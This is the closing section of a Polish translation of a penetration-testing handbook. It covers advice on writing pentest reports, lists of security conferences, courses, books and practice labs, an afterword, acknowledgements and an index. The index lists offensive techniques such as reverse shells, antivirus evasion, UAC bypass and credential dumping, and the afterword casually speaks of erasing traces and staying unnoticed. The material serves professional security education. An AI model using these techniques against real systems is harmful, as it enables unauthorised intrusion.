RAPORT Gdy uczyłem, zawsze podkreślałem, że raport to najważniejszy element stanowiący o sukcesie testu penetracyjnego. Nie ma znaczenia, czy udało nam się włamać do 3 czy 300 komputerów, jeśli nie poinformujemy klienta, jak tego dokonaliśmy, i nie przedstawimy wskazówek, jak zaradzić sytuacji. Aby zobaczyć, jak może wyglądać przykładowy raport, zajrzyj do raportu Offensive Security1, dostępnego pod adresem http://www.offensivesecurity.com/reports/penetration-testing-sample-report-2013.pdf. 1

http://www.offensive-security.com/offsec/penetration-test-report-2013/

PODRĘCZNIK PENTESTERA

LISTA MOICH ZALECEŃ I SPRAWDZONYCH ROZWIĄZAŃ  Nie wysyłaj raportu ze skanera Nexpose lub Nessus, jeśli jedynie zmieniłeś tytuł raportu.  Muszę to jeszcze raz podkreślić — użyj własnego szablonu raportu i sprawdź wszystkie wyniki.  Nigdy nie przekazuj klientowi raportu ze skanera Nexpose lub Nessus jako raportu końcowego.  Oceń luki i podatność na zagrożenia.  Zdefiniuj jeden jednorodny system oceny podatności na zagrożenia.  Dopracowałem się własnego sposobu oceny bazującego na standardach NIST, DISA, CVSS i własnym doświadczeniu.  Wartość oceny zwiększa się lub zmniejsza w zależności od tego, czy udało się wykorzystać tę ocenę, czy jest dostępny gotowy kod umożliwiający włamanie, jak powszechnie stosowany jest dany system, jakie uprawnienia uzyskuje włamujący się i w jaki sposób wpływa to na trójkąt bezpieczeństwa CIA (ang. Confidentiality, Integrity and Availability).  Takie same luki oceniane według przyjętej przeze mnie miary mają taki sam poziom krytyczności. Jeśli klient poprosi o wskazanie sposobu oceny, przedstawiam swój system.  Luki rzeczywiste czy tylko teoretyczne.  Nie lubię oznaczać konkretnych luk jako krytycznych, jeśli na razie są to tylko luki teoretyczne i nie istnieje żaden wykorzystujący je kod. Oczywiście należy je wskazać i opisać, ale nie powinny mieć wysokiej oceny wtedy, gdy nie udało się znaleźć sposobu ich wykorzystania.  Dzięki temu klient dowiaduje się, które luki wymagają natychmiastowej uwagi, a które można wypełnić jako element standardowych poprawek.  Rozwiązania są równie ważne jak znalezione luki.  Jeśli korzystasz z narzędzia służącego do włamywania się do sieci, zaoferuj również rozwiązanie blokujące włamania.  Jeśli nie uda Ci się znaleźć konkretnego rozwiązania, pomóż klientowi opracować strategię minimalizacji strat.  Nie uznawaj wszystkich plików cookie przesyłanych przez HTTP za niebezpieczne.  Istnieją pliki cookie, które nie zawierają danych sesyjnych, tak więc nie zapewnią atakującemu żadnej dodatkowej powierzchni ataku. Choć należy je wskazać, to ocena ich szkodliwości powinna być niższa niż plików cookie odpowiedzialnych za śledzenie sesji.  To jedynie przykład, ale pokazuje klientowi, że rozumiesz znaczenie różnych plików cookie i ich podatność na atak. 186

ROZDZIAŁ 10. ANALIZA PO GRZE — RAPORTOWANIE

 Upewnij się, że luki są rzeczywistymi lukami.  Zdarzyło mi się wiele razy otrzymywać wyniki testu penetracyjnego wskazujące, że mój system PHP zawiera luki. Wynika to z faktu, iż skaner bazuje na numerze wersji oprogramowania i oznacza niektóre znalezione elementy jako krytyczne. Niektóre ze znalezionych luk dotyczyły skryptów CGI (ang. Common Gateway Interface) lub modułu Apache. Problem w tym, że z nich nie korzystam, a skaner wskazał je tylko ze względu na zastosowaną wersję oprogramowania. Upewnij się, że zgłaszane przez Ciebie luki rzeczywiście można wykorzystać. Warto zadbać o informację zwrotną od klienta po przekazaniu mu raportu. Grafika i wykresy przydają się do zaimponowania zarządowi, ale pracownicy techniczni chcą poznać czynności pozwalające powtórzyć włamanie. Należy przekazać klientowi również wszystkie surowe dane, takie jak wyniki skanowania, wyniki z programu Burp Suite, a także prosty plik Excela ze wszystkimi znalezionymi lukami i wskazówkami. W ten sposób pracownicy techniczni mogą łatwo oznaczyć zarówno luki, które zostały już załatane, jak i te, nad którymi należy jeszcze popracować. Jeśli chcesz się wyróżnić na tle innych testerów, znajdź coś, co pozwoli Ci robić pewne rzeczy inaczej, dokładniej, lepiej. Realizując test penetracyjny dla dużej firmy, warto również oddać prosty raport bazujący na OSINT (ang. Open Source INTelligence), opisujący kogo i co można znaleźć na ogólnodostępnych stronach internetowych.

187

PODRĘCZNIK PENTESTERA

188

Rozdział 11.

KONTYNUACJA EDUKACJI Często pojawiają się pytania: „Co robić dalej?”, „W jaki sposób doskonalić swoje umiejętności w branży zabezpieczeń?”. Z tego powodu zadałem sobie trud i zebrałem dane na temat dostępnych materiałów. Podzieliłem je na konferencje, na które warto się udać, kursy, które warto odbyć, książki techniczne i nietechniczne warte przeczytania, frameworki warte poznania, wiadomości, z którymi warto się zapoznać, i wydarzenia związane ze zdobywaniem flagi, w których warto uczestniczyć.

GŁÓWNE KONFERENCJE Zacząłem od uczęszczania na główne konferencje dotyczące bezpieczeństwa informatycznego, bo to doskonałe miejsce do tego, aby poznać wiele ciekawych osób i dowiedzieć się, co się dzieje w branży. Konferencji jest obecnie bardzo dużo, pełną listę znajdziesz na stronie Infosec Events (http://bit.ly/1cVISnz). Poniżej przedstawiam jedynie niektóre konferencje — polecane przeze mnie — wraz z krótką informacją na ich temat.

KONFERENCJE, KTÓRE POLECAM Z WŁASNEGO DOŚWIADCZENIA  Def Con (http://www.defcon.org/) — odbywa się w Las Vegas i udział w niej kosztuje poniżej 200 dol. To największa konferencja dla hakerów, więc trzeba się na nią kiedyś udać.  DerbyCon (https://www.derbycon.com/) — odbywa się w Kentucky, udział w niej wynosi mniej niż 200 dol. Niektóre z moich ulubionych prezentacji pochodzą właśnie z konferencji DerbyCon.  Black Hat (http://www.blackhat.com/) — odbywa się w Las Vegas i jest wyjątkowo droga. Występują na niej doskonali prelegenci. Jest skierowana głównie do pracowników korporacji.  BSides (http://www.securitybsides.com/) — najczęściej bezpłatna. Konferencje tego typu odbywają się na terenie całych Stanów Zjednoczonych.  ToorCon (http://toorcon.net/) — odbywa się w San Diego. To niewielka konferencja, na której można spotkać wiele nowych osób, a wszyscy uczestnicy są przyjacielscy.

PODRĘCZNIK PENTESTERA

 CanSec (http://cansecwest.com/) — uczestniczyłem jedynie w CanSecWest. Nie jest to tania konferencja, ale pojawiają się na niej dobrzy prelegenci.  ShmooCon (http://www.shmoocon.org/) — jedna z największych konferencji na wschodzie Stanów Zjednoczonych. Udział w niej kosztuje mniej niż 200 dol. Jedna z moich ulubionych konferencji.  OWASP AppSec (https://www.owasp.org/index.php/Category:OWASP_ AppSec_Conference) — tanie i przyjemne konferencje skupiające się na bezpieczeństwie aplikacji internetowych. Jeśli jesteśmy członkami OWASP, za udział w konferencjach płacimy mniej niż 100 dol.  LETHAL (http://www.meetup.com/LETHAL/) — oczywiście musiałem tu umieścić i swoją grupę. Choć nie jest to konferencja, spotykamy się co miesiąc i miewamy prelegentów. Spotkania są bezpłatne, a grupa jest mała, co ułatwia poznanie osób o podobnych zainteresowaniach.

KURSY Jeśli poszukujesz szybkiego wprowadzenia do konkretnej dziedziny związanej z bezpieczeństwem informatycznym, najlepiej zapisz się na kurs. Masz do wyboru wiele kursów — oto kilka, które mogę Ci polecić:  Black Hat — wyjątkowo drogi, składa się za to z wielu różnych kursów, najczęściej prowadzonych przez najlepszych w branży.  DerbyCon — dobrze wyceniony kurs w Kentucky, który odbywa się w trakcie konferencji.  SANS (http://www.sans.org) — bardzo drogi kurs, ale stanowi branżowy standard.  Offensive Security (http://www.offensive-security.com/) — dobrze wyceniony. Polecam zakup jednego z kursów online. Otrzymujemy mnóstwo informacji, trzeba jednak na kurs poświęcić sporo czasu.

KSIĄŻKI Istnieje wiele ciekawych książek do przeczytania. Nie mogę wymienić ich wszystkich, więc skupiłem się na tych, o których pamiętam. Nie są ułożone w jakiejś konkretnej kolejności. Można się zastanawiać, dlaczego umieściłem na liście książki dotyczące między innymi analizy malware’u. Odpowiedź jest prosta — poszczególne dziadziny bezpieczeństwa informatycznego (badanie śladów, analiza malware’u, odpowiedź na incydenty, testy penetracyjne) wzajemnie się uzupełniają. Aby stać się dobrym testerem, trzeba poznać je wszystkie. Trzeba wiedzieć, jak zacierać ślady, co może utrudnić włamanie do komputera i jaki jest tok myślenia osoby zabezpieczającej system.

190

ROZDZIAŁ 11. KONTYNUACJA EDUKACJI

KSIĄŻKI TECHNICZNE  Dafydd Stuttard, Marcus Pinto, The Web Application Hacker’s Handbook 2. Finding and Exploiting Security Flaws, Wiley, 2011.  David Kennedy, Jim O’Gorman, Devon Kearns, Mati Aharoni, Metasploit. Przewodnik po testach penetracyjnych, Helion, 2013.  Allen Harper, Shon Harris, Jonathan Ness, Chris Eagle, Gideon Lenkey, Terron Williams, Gray Hat Hacking. The Ethical Hackers Handbook, McGraw-Hill, 2011.  Justin Clarke i in., SQL Injection: Attacks and Defense, Syngress, 2012.  Jon Erickson, Hacking. Sztuka penetracji, Helion, 2008.  Hacking Exposed (cała seria wydawnictwa McGraw-Hill).  Michael Hale Ligh, Steven Adair, Blake Hartstein, Matthew Richard, Malware Analyst's Cookbook and DVD. Tools and Techniques for Fighting Malicious Code, Wiley, 2010.  Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte, The Shellcoder’s Handbook. Discovering and Exploiting Security Holes, 2nd ed., Wiley, 2007.  Tobias Klein, A Bug Hunter’s Diary. A Guided Tour Through the Wilds of Software Security, No Starch Press, 2011.

CIEKAWE KSIĄŻKI PORUSZAJĄCE TEMATYKĘ BEZPIECZEŃSTWA INFORMATYCZNEGO  Orson Scott Card, Gra Endera, Editions Spotkania, 1991.  Neal Stephenson, Cryptonomicon, MAG, 2010.  Neal Stephenson, Zamieć, ISA, 2007.  Clifford Stoll, The Cuckoo’s Egg, Doubleday, 1989.  How to Steal a Network (cała seria wydawnictwa Syngress).  Jayson E. Street, Kent Nabors, Brian Baskin, Dissecting the Hack. The F0rb1dd3n Network, Syngress, 2009.  Michal Zalewski, Cisza w sieci, Helion, 2005.  Daniel Suarez, Demon, AMBER, 2009.

FRAMEWORKI DOTYCZĄCE TESTÓW INTEGRACYJNYCH Chcesz samodzielnie doskonalić swoje umiejętności? Choć nie sprawdziłem wszystkich wymienionych frameworków, pobierz je, uruchom i napisz, co o nich myślisz. Praktyka to podstawa!

191

PODRĘCZNIK PENTESTERA

 Offensive Security Metasploitable,  OWASP WebGoat, Vicnum, InsecureWebApp,  Maven Security WebMaven, Buggy Bank,  Google Gruyere (antigo Codelab i Jalsberg),  NTNU Hacme Game,  SPI Dynamics,  DVWA (Damn Vulnerable Web Application),  Iron Geek Mutillidae,  The ButterFly Security Project,  McAfee Foundstone Hacme Casino, Hacme Bank, Travel i Shipping,  Bonsai Sec Moth,  Stanford SecuriBench,  Enigma Group,  X5S XSS Encoding Skills,  The BodgeIt Store,  MadIrish LampSecurity,  WackoPicko,  DVL (Damn Vulnerable Linux),  Pynstrom Holynix.

ZDOBYWANIE FLAGI Jeśli wykonywanie testów penetracyjnych ma być Twoim zawodem, a nawet jeśli robisz to tylko dla zabawy, naprawdę powinieneś zaangażować się w różne wyzwania dotyczące zdobywania flagi. Znajdź kilku znajomych lub lokalną grupę do spraw bezpieczeństwa informatycznego i przyjmij wyzwanie. W ten sposób nie tylko wyćwiczysz swoje umiejętności i poznasz zasady ataku, ale również będziesz miał sposobność popracować z najlepszymi osobami w branży. Spędzenie trzech dni i nocy na realizacji zadania to chyba jedno z najbardziej pasjonujących i twórczych doświadczeń. Odwiedź stronę https://ctftime.org/ i dowiedz się, gdzie i kiedy odbędzie się następna impreza.

BĄDŹ NA BIEŻĄCO Bezpieczeństwo informatyczne to stale zmieniająca się dziedzina, więc pozostawanie w tych kwestiach na bieżąco nie jest zadaniem łatwym. Oto kilka stron odwiedzanych przeze mnie każdego ranka i listy mailingowe, które regularnie otrzymuję. 192

ROZDZIAŁ 11. KONTYNUACJA EDUKACJI

KANAŁ RSS I STRONY WWW  Kanał http://securepla.net/rss.php — to mój osobisty kanał RSS, do którego zbierałem strony przez lata. Polecam jego sprawdzenie.  Lista stron WWW dostępna pod adresem https://code.google.com/p/pentest-bookmarks/wiki/BookmarksList.

LISTY MAILINGOWE  https://www.schneier.com/crypto-gram.html,  http://www.team-cymru.org/News/,  https://www.infragard.org/,  http://www.thecyberwire.com/.

LISTY NA TWITTERZE  https://twitter.com/danothebeach/lists/infosec,  http://www.marblesecurity.com/2013/11/20/100-security-expertsfollow-twitter/.

193

PODRĘCZNIK PENTESTERA

194

Dodatek A

UWAGI KOŃCOWE Jeśli udało Ci się doczytać do tego miejsca, oznacza to, że uzyskałeś dostęp do sieci, złamałeś wszystkie hasła i usunąłeś wszystkie ślady swojej obecności. Najwyższy czas zebrać całą zdobytą wiedzę i na jej podstawie uczyć się dalej. Przede wszystkim zachęcam Cię do zaangażowania się w działalność lokalnej grupy związanej z bezpieczeństwem informatycznym lub do uczestnictwa w konferencjach. Możesz też uruchomić blog i zacząć bawić się poszczególnymi narzędziami. Dowiedz się, co działa, a co nie działa, jak uczynić atak bardziej efektywnym i jak pozostać niezauważonym. Wymaga to dodatkowego czasu poza zwykłą pracą od 9 do 17, ale będzie się opłacało. Mam nadzieję, że książka dała Ci wiele cennych informacji i umożliwiła poznanie nowych narzędzi oraz technik. Bezpieczeństwo informatyczne to wyzwanie, ponieważ trzeba śledzić trendy i wykazać się kreatywnością. Nie wydaje mi się, żeby ktoś kiedykolwiek mógł powiedzieć, iż opanował zagadnienia bezpieczeństwa informatycznego do perfekcji. Jednak po poznaniu podstaw okazuje się, że główne zasady w zasadzie się nie zmieniają. Jeśli książka była dla Ciebie przydatna, napisz komentarz na mojej stronie WWW. Podziel się uwagami i zauważonymi brakami, bym mógł w przyszłości uzupełnić materiały. Jeśli pominąłem w książce jakąś osobę lub źle opisałem którykolwiek z tematów, z góry przepraszam i obiecuję umieszczenie poprawki. Kontakt ze mną:  Twitter — @HackerPlaybook,  strona WWW — TheHackerPlaybook.com.

PODRĘCZNIK PENTESTERA

PODZIĘKOWANIA Jest wiele osób i grup, którym chciałbym podziękować. Jeśli kogoś pominąłem, to przepraszam. Niektóre z wymienionych osób mogą mnie nie znać, ale ich badania, narzędzia i teorie zainspirowały mnie do tego, by stać się lepszym testerem, i pomogły mi napisać tę książkę. Lista osób nie jest ułożona w żadnej konkretnej kolejności. Członkowie grupy LETHAL

Kevin Bang

Asian Mafia

NoVA Hackers

HD Moore

Hacking Alpacas

Mubix

Hashcat

Spiderlabs

Garrett Gee

IronGeek

Accuvant LABS

Peter Kacherginsky

Moxie Marlinspike

Peter Steinmann

Devin Ertel

Joshua Wright

Dan O’Donnell

Mary Ann Nguyen

Paul Asadoorian

Howard Chen

Jeff Schoenfield

Fyodor Vaskovich

Portswigger

Kelvin Chou

Dave Kennedy

Matt Graeber

Mattifestation

LPHIE

Dark Operator

Zespół Offensive Security

HCC

Dit Vannouvong

Obscuresec

SANS

Christopher Truncer

TEHC

Leebaird

Rodzina i przyjaciele

Strona reddit.com/r/netsec

Al Bagdonas

Wszyscy moi byli współpracownicy

196

SKOROWIDZ A adres EIP, 54 ADS, Alternate Data Streams, 181, 182 AES, Advanced Encryption Standard, 90 algorytmy skrótów, 170 analiza aktywna, 31 danych banerowych, 35 domeny, 28 pasywna, 23, 25 rozmieszczenia znaków, 77 ARP, Address Resolution Protocol, 111 atak aktywny, 144 CSRF, 73–76 dns_spoof, 115 fizyczny, 152 na kontroler domeny, 101 na WPS, 150 pasywny, 142 phishingowy, 128 Pretty Theft, 70, 71 SLAAC, 116 typu brute force, 79 typu DoS, 116 typu MITM, 116 typu XSS, 48, 66, 72 wykorzystujący SMTP, 125 wykorzystujący SSH, 127 z wykorzystaniem apletu Javy, 133 z zamianą adresów DNS, 116 za pomocą BeEF, 69 zdalny, 52 automatyczne uruchamianie makra, 137

B banery, 36 baza danych MongoDB, 35 bezpieczeństwo tokenów, 76 blokada odczytu pliku, 101

C CSRF, Cross-Site Request Forgery, 49, 73

D dane logowania, 131 uwierzytelniające, 85, 92 DHCP, Dynamic Host Configuration Protocol, 116, 152 dodatek FoxyProxy, 41 domena, 90 DoS, Denial of Service, 116 dostęp do domeny, 89 do komputera, 68 do konta administratora, 95 do OWA, 174 do profilu użytkownika, 70 do SSH, 126 do systemu, 70 do witryny, 119 fizyczny, 141 działanie narzędzia Evade, 159 Hamster, 118 Mimikatz, 94 oclHashcat, 172 Peeping Tom, 39 Responder, 88 Smbexec, 102 SQLninja, 64

E edytor HxD, 159 EIP, Extended Insertion Point, 54 element APR-DNS, 121 emulacja punktu dostępowego, 152

F folder OSINT, 24 peepingtom, 35 framework, 191 BeEF, 66, 67 Impacket, 89

G generowanie e-maili, 129 plików Excela, 136 raportu, 130 GPP, Group Policy Preferences, 90

H hasła MD5, 171 NTLM, 169, 173 użytkowników, 99 WEP, 145

I identyfikator SSID, 143 IIS, Internet Information Services, 36 informacje o AP i SSID, 143 lukach, 178 pingach, 65 plikach cookie, 120

PODRĘCZNIK PENTESTERA informacje o sesjach użytkowników, 100 sieci Wi-Fi, 109 systemie, 110 środowisku PowerShell, 109 wykorzystaniu luki, 58 instalowanie sshpass, 155 interaktywna powłoka, 60 inżynieria społeczna, 125, 135, 156

J język Python, 161

K Kali Linux, 15, 24 karta Alfa, 141, 142 Scanner, 47 Target, 43 klonowanie kart, 152 RFID, 152 strony uwierzytelniania, 121 witryny, 120 klucze AES, 91 do sieci Wi-Fi, 111 szyfrujące, 90 kod frameworka BeEF, 68 kodowanie Base64, 106 kody CVE, 176 kompilacja sshd, 127 konferencje, 189 konfiguracja Kali Linux, 16 narzędzia Kismet, 143 narzędzia Veil, 97, 165 ODROID-U2, 154 platformy testowej, 21 proxy sieci, 41 przeglądarki, 41 serwera Radius, 150 serwera SSH, 127 ustawień proxy, 42 zdalnego ataku, 52 kontroler domeny, 90

L LDAP, Lightweight Directory Access Protocol, 102 lista APR, 112 haseł, 29, 170 nazw kont, 29

słów, 169 zaleceń i rozwiązań, 186 logowanie znaków, 163 LSASS, 93 luka, 51 22153, 176 BeEF, 66 GPP, 90 MS08-067, 53 przepełnienia bufora, 55 SQLi, 62 w Javie, 134 w WARFTP, 54 WPAD, 86 XSS, 69 luki rzeczywiste, 186 teoretyczne, 186 w aplikacjach webowych, 49, 83

Ł ładunek MeterHTTPSContained, 96 łamanie haseł, 145, 151, 169 MD5, 171 NTLM, 173 NTLMv2, 172 WEP, 146 WPAv2, 172

M makro Auto_Open, 137 mała kradzież, 70 masowa wysyłka e-maili, 134, 136 maszyna wirtualna, 20 migracja automatyczna, 167 migrowanie, 98 moduł do Phishingu, 128 Incognito, 99 Intruder, 80 phishingowy Google, 70 psexec, 178 Repeater, 75 smart_hashdump, 99 modyfikacja sygnatury, 162

N narzędzia dla Windows, 20 dodatkowe, 15 sprzętowe, 152 narzędzie Ettercap, 114 198

BITSAdmin, 184 Burp Suite, 41, 43, 48, 58, 76–81 Cain and Abel, 20, 111, 121 Evade, 158 Evil Foca, 115, 116 Fern WIFI Cracker, 145, 147 Ferret, 117 Firesheep, 119 Hamster, 117 John the Ripper, 88 JtR, 171 Karma, 152 Karmetasploit, 152 Kismet, 143 Metasploit, 51, 52 Metasploit Pro, 129 Meterpreter, 54 Mimikatz, 93, 98 Nessus, 31 Nexpose, 31 Nishanga, 110 Nmap, 33, 37 oclHashcat, 88, 171–174 Peeping Tom, 37 PowerShell, 107, 108 Powersploit, 103 ProxBrute, 152 Proxmark3, 152 psexec, 100 PsExec, 95 py2exe, 163, 164 qwinsta, 100 Responder, 86, 87 RFIDIOt, 152 Searchsploit, 175 SET, 131, 134, 136 smbexec, 101, 166 SQLmap, 58 SQLninja, 61, 64 SSLStrip, 121, 122 Veil, 95, 96, 164 WCE, 157 Windows Credentials Editor, 92 nasłuchiwanie pingów, 65 nazwa SSID, 109 niewłaściwe certyfikaty SSL, 49 NTLM, NT LAN Manager, 169

O obchodzenie UAC, 134 obsługa komunikacji, 98 oczyszczanie plików WPA, 149 odkrywanie treści, 45 zawartości, 46

SKOROWIDZ odwrócona powłoka, 133, 138, 164, 166 powłoka Meterpretera, 104 sesja HTTPS, 98, 107 omijanie zabezpieczeń antywirusowych, 138, 157 filtrowania ruchu, 180 zabezpieczenia UAC, 179, 180 opcja Capture File Settings, 147 opcje polecenia skan, 34 oprogramowanie komercyjne, 14 OpenSSH, 127 OSINT, 187 OWA, Outlook Web Access, 174 OWASP, 73

P parametr GET, 59, 63 POST, 60–63 pasywne testowanie Wi-Fi, 142 Phishing, 128, 134 PID, Process IDentifier, 167 plik auth-passwd.c, 127 foundpw.csv, 29 Get-Information.ps1, 109 hook.js, 68 http_ips.txt, 38 InvokeShellcode.ps1, 104 ps_encoder.py, 137 report.html, 38 smbexec.sh, 166 smbrelayx.py, 89 StartListener.py, 104 pliki cookie, 119, 186 DLL, 103 Excela, 136 Searchsploita, 176 ukryte, 184 WCE, 158 WPA, 149 pobieranie danych uwierzytelniających, 92 podanie boczne, 85 podobieństwo domen, 125 podróbka strony logowania, 132 podrzucanie urządzeń, 153 podsłuchiwanie, 117, 142 polecenia PsExec, 100 w Fern WIFI Cracker, 146 polecenie Engagement tools, 46 exploit, 98

getsystem, 99, 179 IEX, 105 ifconfig, 142 migrate, 98 ping, 65 searchsploit, 175 show payloads, 52 skan, 34 Spider this host, 44 Start attack, 81 pomoc programu SQLmap, 59 programu SQLninja, 62 ponawianie uwierzytelnienia, 144 popularne luki, 51 porównanie plików, 160 poświadczenia, 95 potencjalne słabe punkty, 31 PowerShell, 90, 103, 105 powłoka języka Python, 162 powłoka Meterpretera, 105 preferencje zasad grupy, 90 problemy typu niskiego, 33 średniego, 33 protokół LDAP, 102 proxy między komputerami, 123 przechwytywanie banerów, 33 do pliku, 146 ekranu, 37 plików cookie, 119 ruchu internetowego, 43 wymiany uwierzytelniającej, 148 przekierowanie CNAME, 180 DNS, 119 przesyłanie plików, 184 przeszukiwanie, 178 Metasploita, 52 witryny, 45

R raportowanie, 185 reguły, 170, 173 rejestrowanie naciskanych klawiszy, 163 rekonesans Wi-Fi, 142 rekordy MX, 126 rozgłaszanie SSID, 143

S sekwenser, 77 serwer DHCP, 152 FTP, 56, 181 IIS, 36 199

proxy, 123, 180 Radius, 149 SMTP, 125 SSH, 127 WarFTP, 54 sesja Meterpretera, 107 SET, Social-Engineer Toolkit, 131 sfingowana strona uwierzytelniania, 122 sieci bezprzewodowe, 141 Wi-Fi, 144 zabezpieczone, 143 sieć VPN, 30 skanery antywirusowe, 157 aplikacji webowych, 14 słabych punktów, 14 SNMP, 23 skanowanie adresów MAC, 112 aktywne, 47 aplikacji internetowych, 41 aplikacji webowych, 40 pliku, 159 sieci, 31 sieci, 23 witryn, 40 zewnętrzne, 23 sklonowana strona logowania, 132 skrypt, Patrz także plik bash, 155 CRON, 155 wykorzystujący lukę, 55, 56 wyszukujący hasła, 30 skrypty, 54 PowerShella, 103 Pythona, 161 zasobów, 178 SLAAC, 116 SMTP, Simple Mail Transfer Protocol, 125 specyfikacja urządzenia ODROID-U2, 153 społecznościowe źródła danych, 72 sprawdzanie danych, 76, 78 SQL, Structured Query Language, 49 SSH, Secure SHell, 126 SSL, Secure Sockets Layer, 49 status sesji, 46 strumienie danych, 181 sygnatura włączająca alarm, 161, 162 system Joomla, 176 logowania BeEF, 67

PODRĘCZNIK PENTESTERA szyfrowanie AES, 90 WEP, 144 WPA, 148 WPA-Enterprise, 149 WPAv2, 146, 148, 172

Ś

ustawienie typu ataku, 80 uwierzytelnianie NTLMv1, 89 użycie adresów e-mail, 27 Burp Suite, 74

V VPN, Virtual Private Network, 30

ściągawka OWASP, 73

T testowanie wartości parametru, 79 witryny internetowej, 44 testy funkcjonalne, 82 penetracyjne, 13, 167 penetracyjne aplikacji webowych, 57 rozmyte, 79 token sesji, 76 tworzenie kont administracyjnych, 100 makra, 137 pliku Meterpretera, 164, 166 proxy między hostami, 123

U ukrywanie odwróconej powłoki, 166 plików, 181–183 uruchamianie ataku, 81 ładunku, 106 niezaufanych skryptów, 108 odwróconej powłoki, 138 Searchsploit, 175 skanera aktywnego, 47 skryptu RC, 179 SQLninja, 64 urządzenie ODROID-U2, 153 Pwn Plug, 153

W WCE, Windows Credentials Editor, 92 Windows Credentials Editor, 15 witryna Exploit Database, 176, 177 SecurityFocus, 177 włamanie do sieci bezprzewodowej, 141 do systemu, 94 wstępne, 103, 108 włączanie proxy, 42 WMI, Windows Management Instrumentation, 103 WPAD, Web Proxy Auto-Discovery, 86 WPAv2, Wi-Fi Protected Access, 146 WPS, Wi-Fi Simple Config, 148 wstrzykiwanie kodu SQL, 59, 65 wstrzykiwanie kodu SQL, 49, 57, 66 plików DLL, 103 potwierdzeń DHCP, 116 wybór tokena sesyjnego, 77 ustawień proxy, 43 wyciek ścieżki WordPressa, 33 wydobywanie danych logowania, 131 wygaśnięcie sesji, 76 wykop na bok, 141 wykorzystanie luk BeEF, 66 wymagania sprzętowe, 14 wymuszanie nowego połączenia, 152

200

wyniki ataku Pretty Theft, 71 testu w Burp Suite, 82 wysyłanie żądania, 75, 77, 80 dużej ilości e-maili, 134, 136 wyszukiwanie banerów, 36 słabych punktów, 175 stron witryny, 44 wyświetlanie administratorów domeny, 100 haseł użytkowników, 99 informacji o sesjach, 100

X XSS, Cross-Site Scripting, 48, 66

Z zabezpieczenie UAC, 180 zaciemnianie ataku XSS, 72 zamiana adresów DNS, 116 zasady grupy, 90 zastępowanie cookie, 118 zatrucie ARP, 111, 113, 117 zbiór reguł PasswordsPro, 172 zmienna Key_Content, 109 znajdowanie wstrzyknięć SQL, 58 luk, 57 zrzut ekranu, 108 pamięci procesu, 108

Ż żądania LLMNR, 86 NBT-NS, 86 żądanie GET, 48, 79 narzędzia Burp Suite, 62